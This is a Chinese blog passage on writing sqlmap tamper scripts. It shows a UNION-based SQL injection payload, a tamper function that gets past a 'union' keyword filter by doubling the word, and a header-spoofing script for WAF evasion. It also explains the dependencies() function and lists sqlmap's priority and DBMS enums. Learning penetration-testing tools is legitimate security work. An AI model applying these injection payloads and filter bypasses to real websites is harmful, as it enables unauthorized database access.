时间:2021-07-01 10:21:17 帮助过:7人阅读
而我们的payload为
-8363‘ union select null -- -
这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样tamper
def tamper(payload, **kwargs): return payload.replace(‘union‘,‘uniounionn‘)
保存为test.py,存到sqlmap/tamper/下,执行的时候带上--tamper=test的参数,就可以绕过该过滤规则
dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:
# sqlmap/tamper/echarunicodeencode.py from lib.core.common import singleTimeWarnMessage def dependencies(): singleTimeWarnMessage("tamper script ‘%s‘ is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0]) # singleTimeWarnMessage() 于在控制台中打印出警告信息
kwargs
在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明
# sqlmap/tamper/vanrish.py def tamper(payload, **kwargs): headers = kwargs.get("headers", {}) headers["X-originating-IP"] = "127.0.0.1" return payload
这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf
tamper的编写远不止这些,本文只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,本文不一一列出。
# sqlmap/lib/enums.py class PRIORITY: LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class DBMS: ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" HSQLDB = "HSQLDB"
sqlmap-tamper编写指南
标签:pgsql 函数 end sybase 导致 最小 ase forward pen